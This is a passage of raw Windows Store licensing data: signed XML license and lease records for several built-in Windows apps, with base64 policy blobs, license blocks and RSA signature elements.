Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="0ba32a4f-f4b9-401d-a4af-c68a96943139" LicenseID="24d27e38-2384-607a-af60-5869ee8774e4" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.SecHealthUI_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T13:38:41.8735885Z</IssuedDate><LastUpdateDate>2026-02-20T13:38:41.8593367Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiZGFmNDE3NGQtNmZjZi1hN2IzLTlhZDUtOGE1MTZiNjFmMzM0IiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2OTY2NTQ1NjE3MDgxNzUzJmNvbnRlbnRJZD0yZjc1ZjU4MC03NTcwLWRkNTItMTM0YS1kMDU5OTcxYzQ0OTImZW50aXRsZW1lbnRJZD1kYWY0MTc0ZC02ZmNmLWE3YjMtOWFkNS04YTUxNmI2MWYzMzQmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbImU2NDAzODFmLTM4ZDEtYWVmZS1lYzJhLWYyZjkwZDhiYmJlYSJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6IjJmNzVmNTgwLTc1NzAtZGQ1Mi0xMzRhLWQwNTk5NzFjNDQ5MiIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TkswSkxaVDdKRDAiLCJza3VJZCI6IjAwMTIifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTM6Mzg6NDEuODU5MTU4OSswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAALAAAADJAAAACgAAAAUAAgDiY5hpAADLAAAAEAAAADh+0iSEI3pgr2BYae6HdOTOAAAASAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcwBlAGMAaABlAGEAbAB0AGgAdQBpAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQAtPoyjv0gecwHkKJNq+XTgkdVERcOFREaFgb5AOm41WNMAAAAEAAAA4tiqacwAAABEAAAAAQACAJnh3lNnFV485ff91MEoJAgyTBASPe9WD7i6tn7atu7Vw+cZXmA2yvp7B/SIVR7FuCU1tDLZPqLFdo93l1DFmec=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>fKdn+fn+E/WXsjgmTei5Ui/Q5cRX/OMfDZujbIpqZJY=</DigestValue></Reference></SignedInfo><SignatureValue>i61GZAIH6y8TSFo098gq4XS5uOVowcqUmfsiPUoN/gPwgBCbz1v6Jng8GyhO/bL3ZxkQsqgc2Qz1gAvDR7fulBSSBcGZE1zxk6ppGfHxGikU8n9KY66EmIWMSIotTnuYld/jc+Pci1eLe5sGReFPTyE/YHEzp5bJRa61DSk2k8qm8NdAuMfHxioycmLCtxEmfsc/O/bvPO6MI6OlEKtwcy/aLM0HdNYviUuNfzK8+CSaEHEEdiIUQkC3H8Bz+s+Wq3zS5JwUwEfmnhhb5/jo/aWeAHwT80vyTGAaHgMHeyimmYqnL908+IKEuPymuViVdiMz23LCMLfPsOUACXpsZQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
E<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="453842e1-6d40-4adf-845c-32ca7cb48fbb" LicenseID="e640381f-38d1-aefe-ec2a-f2f90d8bbbea" ContentID="2f75f580-7570-dd52-134a-d059971c4492" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NK0JLZT7JD0</ProductID><PFM>microsoft.sechealthui_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T12:15:19.246688Z</IssuedDate><LastUpdateDate>2026-02-20T12:15:19.2342151Z</LastUpdateDate><BeginDate>2026-02-20T12:15:19.234214Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiIyY2FmNzQ0Ni1jNGM2LTQ5YzQtYWZjNy1jYjM1MGI3YjUyMTYifQ==</CustomPolicies><SPLicenseBlock>FAAAALAAAADJAAAACgAAAAUAAQBXUJhpAwDLAAAAEAAAAB84QObROP6u7Cry+Q2Lu+rOAAAASAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcwBlAGMAaABlAGEAbAB0AGgAdQBpAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQAtPoyjv0gecwHkKJNq+XTgkdVERcOFREaFgb5AOm41WCAAAAAEAAAAV1CYacwAAABEAAAAAQACAFjsxCsOVWWljtiEL1gtDlLNcx1NjGJHzsZDW+eTOU08X3/mpflN4elwG0BplE2RMxUSaIh6FJiiK7Vcf1M56Nc=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>iSbrAZeAHsuiJISv11nAvBLQWcSdxEiFz7g0vZWw9MQ=</DigestValue></Reference></SignedInfo><SignatureValue>CXGmmYIC3ApDu4Ejy5EZUDaEN5eqVVQe+67IVAwBY0QEQtkZnNWpJkelheB+9XzUjN9/6db6d5fYv0mG6EmYFs728gDLCShOltX6xVzEVdoJDmxDaUixDVDtZk8VdD2UdG9nRUCSFo0MDsFSS6YHnRtXgLpj9u9w/ALchW5z8hMx8xnoTVXkqvlDhzxWsq+CdZYfFS8X4Eq1JQ0hC/N6CXjTlh5l8WXG3UW6XwthN5FKAlxMowFgeWE51ckyMcF+/muzpbs8VNGgEA7HdO0V6px0bxNPn6TrV42xCjAWgVEbXpA8lwRloh/TgPy7VkVoMtVjwKNMaoY2DKecfxB8dA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="7d161a17-4300-479b-880f-b8434d83b1a2" LicenseID="4c4ecbc0-0ec0-3929-aebb-a931a339fb23" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.WindowsStore_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T11:31:12.8767936Z</IssuedDate><LastUpdateDate>2026-02-20T11:31:12.8667475Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD05ZDRkZWQ4OS1jYWJjLWY0ZmItODEzMy1iYzVlZGIxYzdlZGEmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OVdaRE5DUkZKQk1QJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiZTY0ZmZlZjEtZTI0Ni1iNjMyLTU5NWItNTYwNzZhM2ZhNzc2Il0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiOWQ0ZGVkODktY2FiYy1mNGZiLTgxMzMtYmM1ZWRiMWM3ZWRhIiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlXWkROQ1JGSkJNUCIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxMTozMToxMi44NjY1OTU3KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAALIAAADJAAAACgAAAAUAAgABRphpAADLAAAAEAAAAMDLTkzADik5rrupMaM5+yPOAAAASgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBzAHQAbwByAGUAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAAaf7l9Jp21JeRrJKBhcbP6ODp40LTKLpK3I9WgJHJhO0wAAAAQAAAAB7Q5qzAAAAEQAAAABAAIAdJ/Rx7fRTYRNYFdQl/kU1yXXzKR7Xcl6EpAyG2/7KhQvZYJOzeM4CAEWvcHt1edt92BE/6d1h9BQg5I4o6h/pw==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>g1FEUPY+cfmv1F1AtZVhQ1P4dZLdmr+6jog5EBHLgh0=</DigestValue></Reference></SignedInfo><SignatureValue>jXeCjy/o6av0+PcWBbygteLwPm2Bghg1UUKZVV44WBdTBC+vOpkTBk1iAInNrKPswLeTRqHfODHY2MuZ+W2qgMlAT8eMpzh0Fz9nGRhq0mtuhNsgqnXsTQ+NPd6ktRHoyiFxNJuQdCWliMcyvmdGoprWGtIB+cU1aj1s0O8/2A0Wol92hcAzpC+VpJdQLrRmfagUbx0UbgFqANIc5doR5sNlwk8la7NvQgiFDyusytWpKI1Myq+sHqQqQCLDtrbpSPcyzLqukakvJEWz80TsnzZWvRXuaEeiq4OhZOz3VMCtNZfPPsXqG0sERwGnWP2hYpXzXuIThUY02nrm0GNEaw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
_<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="1ee803c1-a3ad-4197-8d90-826ac5960dd0" LicenseID="e64ffef1-e246-b632-595b-56076a3fa776" ContentID="9d4ded89-cabc-f4fb-8133-bc5edb1c7eda" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9WZDNCRFJBMP</ProductID><PFM>microsoft.windowsstore_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T08:34:00.4610176Z</IssuedDate><LastUpdateDate>2026-02-20T08:34:00.4511924Z</LastUpdateDate><BeginDate>2026-02-20T08:34:00.4511914Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI2NDI5MzI1Mi01OTI2LTQ1M2MtOTQ5NC0yZDQwMjFmMWM3OGQifQ==</CustomPolicies><SPLicenseBlock>FAAAALIAAADJAAAACgAAAAUAAQB4HJhpAwDLAAAAEAAAAPH+T+ZG4jK2WVtWB2o/p3bOAAAASgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBzAHQAbwByAGUAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAAaf7l9Jp21JeRrJKBhcbP6ODp40LTKLpK3I9WgJHJhOIAAAAAQAAAB4HJhpzAAAAEQAAAABAAIAxxquV++8/fy0nCTtwgq3Emoy8+nkBxoajhr/PYZpkkA9ImxqQiu9u5j7/WO1hJfjn/UFCCa/awGAudIcqYrpcA==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>+vQmfyDtUL4fl+vxXC4kAQCfOhfQ6R5bktX25pCW5f0=</DigestValue></Reference></SignedInfo><SignatureValue>Z15zU0qwarC8BcukIRGT0M3pJ32tcDQs08v+PkkHTAe/vlE46PQqtG6f3Nal+1htzcY9dVfMp6o17UzOQESVr0TdEtGlK1DqlJGOtwoONNqcJ97IRgKqbWraiyvv6sBmXTUgT59rpA8ohXWlAuvCziGc46VLnn3D0MChh2Vns5c/9WA0lR6vT/uvdY3fIBtwrrD3DuK0aI1SdghOVpaaB3j8QOx6EBdoyjEGtlJChFIJv9GxrGC4YPp3Nw6/A8eMilHylJkya5PAHoAcfIIR9ezi9+P3fgReLxgRk6mISLoqOIVCohgsnpWO47gXv48ys2vZ/rtC1IUmkgB7dPRLbA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="1a2ed3e9-9b52-492e-b1f3-0cfae3050725" LicenseID="02305155-8ac1-1189-ff55-b7119a53887c" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.ZuneMusic_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T09:05:21.5497311Z</IssuedDate><LastUpdateDate>2026-02-20T09:05:21.5377434Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD02ZDE1MTIyNy02YmQ5LTcyNmQtYjMwZS1hOGEwMThkY2M4MmImbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OVdaRE5DUkZKM1BUJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiZWVlNDcyMjktOTQ3ZC0yYWM3LWU4YTMtNDliYWZlZTI1MWQxIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiNmQxNTEyMjctNmJkOS03MjZkLWIzMGUtYThhMDE4ZGNjODJiIiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlXWkROQ1JGSjNQVCIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQwOTowNToyMS41Mzc1ODk2KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAKwAAADJAAAACgAAAAUAAgDSI5hpAADLAAAAEAAAAFVRMALBiokR/1W3EZpTiHzOAAAARAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AegB1AG4AZQBtAHUAcwBpAGMAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAJRqtrrzTahdOraIwmH96bAtBBbyAVmNfYOg7w0FoT2L0wAAAAQAAADSyg5qzAAAAEQAAAABAAIAAJkvJtoynbDRDQlVJM3JZxIhRTCek7PLM6xSrsYxKqS0aqre3FGwgeOP3u08mqc1WXKvfdMs+bVw2iM3XGer6Q==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>It8hc0Wi7ZmIfD5yNNG5d0lmAztkV4aiWC6moC2RfBQ=</DigestValue></Reference></SignedInfo><SignatureValue>JLO9+PRDmUo+n+2C8SGTHs6pQpJ+1pYXCv/edG80fkd3F9esngEX+K6UagXHYpyqmodbG3EPKBF4v4awIroW9thLUdsU3m8C4x4HwWhyQwabja39bnMP47J4HRDUKysZgbIReQltzC8/dQZhxQh8NkPZnvhs90c6GC/o+krNW2gzAj77ve8r1MyCFRhD2DeWxIKLbGca89gBjrzheQcvsifZ6+GxBbc11g6nsXYO0g1ga0Oc9U9VmB798m6TnClUEsOZTz3h1JBcIW3RHZL9Ap8eZGxgAprO8cDPvOHlw9T8sHmgIsmh+CVANjzIlVm62blGTQys1q5aWtoD9RDSDg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="acfce017-3cd0-4402-a694-702bbb67af05" LicenseID="eee47229-947d-2ac7-e8a3-49bafee251d1" ContentID="6d151227-6bd9-726d-b30e-a8a018dcc82b" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9WZDNCRFJ3PT</ProductID><PFM>microsoft.zunemusic_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T10:06:46.838032Z</IssuedDate><LastUpdateDate>2026-02-20T10:06:46.8285993Z</LastUpdateDate><BeginDate>2026-02-20T10:06:46.8285982Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiIxNmRiOTNiZi04NzQ4LTQ0OWEtOTZiYS1lOWVkM2E1Zjg3MmQifQ==</CustomPolicies><SPLicenseBlock>FAAAAKwAAADJAAAACgAAAAUAAQA3MphpAwDLAAAAEAAAACly5O59lMcq6KNJuv7iUdHOAAAARAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AegB1AG4AZQBtAHUAcwBpAGMAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAJRqtrrzTahdOraIwmH96bAtBBbyAVmNfYOg7w0FoT2LIAAAAAQAAAA3MphpzAAAAEQAAAABAAIAXgIaN7iTW9wi2AtZgO+fP+svNZLsybda4FciBwkTWW6wyjCGZUau2ezHJYAklDAUXWyuoUmFQK+f5y9574S4TA==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>xnf2vrPBVwNoFiPFnLgu3mvsZ+MjBMvQsym5uY/LB44=</DigestValue></Reference></SignedInfo><SignatureValue>SVkx+yXB5GrVZhap1nhxsRBdmIh07KEFnSJN4ZHHjSHvTuoEDPyE8/uYThnW3zHTQ0TaQupZVAAGY+8rVQSuGs99lAQ4FJETvXn3UtO2GEXuItDqx4XIpo3Z0z34Y1HmxgolN9/81DmzO/O0DAQ6HVyu8laxxqDxdbpZZoVgSFJiZM2DdyA+3Cfvz9ITszqZYc7VkEX/VlBodAlhUbVHlfnh5Lup4Rp9KsGUffeEDNtXqsfWniXIEdQZnaikmhhuDPI8dL9qM8X8s4Zi1eEW5CQY/2+KFyYlfTXe+CGesNfB7colV6e3txg1sSkJPpuWr5KGvrziWBv5PKJOvG1ukw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="d02dbc88-b36f-4587-8718-ce23e578b902" LicenseID="306e67c8-9a1d-38de-8654-054bd8a6e6d6" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.ScreenSketch_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T09:10:51.3309585Z</IssuedDate><LastUpdateDate>2026-02-20T09:10:51.3140953Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiZTBkODcxMWQtZTk4Yy05YmUxLTY2M2EtNTUxYmRmM2E2MzRjIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhJTNhOTE0Nzk5Mjc0NDQ3MDUzJmNvbnRlbnRJZD00MjQ5M2RlOS03NzM0LTk0OWMtYWQ5MC0xZDExZjU5ZjQ1Y2ImZW50aXRsZW1lbnRJZD1lMGQ4NzExZC1lOThjLTliZTEtNjYzYS01NTFiZGYzYTYzNGMmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbImYxZDk0MGQwLWI1YjItMDA4My04NDAzLTgwN2E4ZGI0MzBkNSJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6IjQyNDkzZGU5LTc3MzQtOTQ5Yy1hZDkwLTFkMTFmNTlmNDVjYiIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TVo5NUtMOE1SMEwiLCJza3VJZCI6IjAwMTAifV0s